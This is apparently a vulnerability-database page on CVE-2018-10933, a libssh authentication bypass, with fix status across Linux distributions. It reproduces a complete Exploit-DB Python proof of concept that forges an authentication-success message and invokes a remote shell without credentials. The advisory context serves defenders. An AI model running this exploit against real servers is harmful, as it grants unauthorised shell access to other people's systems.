CVE-2018-10933
Description
A vulnerability was found in libssh's server-side state machine before versions 0.7.6 and 0.8.4. A malicious client could create channels without first performing authentication, resulting in unauthorized access.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
libSSH - Authentication Bypass
#!/usr/bin/env python3
import paramiko
import socket
import argparse
from sys import argv, exit
parser = argparse.ArgumentParser(description="libSSH Authentication Bypass")
parser.add_argument('--host', help='Host')
parser.add_argument('-p', '--port', help='libSSH port', default=22)
parser.add_argument('-log', '--logfile', help='Logfile to write conn logs', default="paramiko.log")
args = parser.parse_args()
def BypasslibSSHwithoutcredentials(hostname, port):
sock = socket.socket()
try:
sock.connect((str(hostname), int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
spawncmd = transport.open_session()
spawncmd.invoke_shell()
return 0
except paramiko.SSHException as e:
print("TCPForwarding disabled on remote/local server can't connect. Not Vulnerable")
return 1
except socket.error:
print("Unable to connect.")
return 1
def main():
paramiko.util.log_to_file(args.logfile)
try:
hostname = args.host
port = args.port
except:
parser.print_help()
exit(1)
BypasslibSSHwithoutcredentials(hostname, port)
if __name__ == '__main__':
exit(main())
LibSSH 0.7.6 / 0.8.4 - Unauthorized Access
Metasploit modules
OS impact
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Affected | — |
Arch Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Fixed | 0.8.4-1 |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.8.4-1 |
| sid | Fixed | 0.8.4-1 |
| forky | Fixed | 0.8.4-1 |
| bullseye | Fixed | 0.8.4-1 |
| bookworm | Fixed | 0.8.4-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.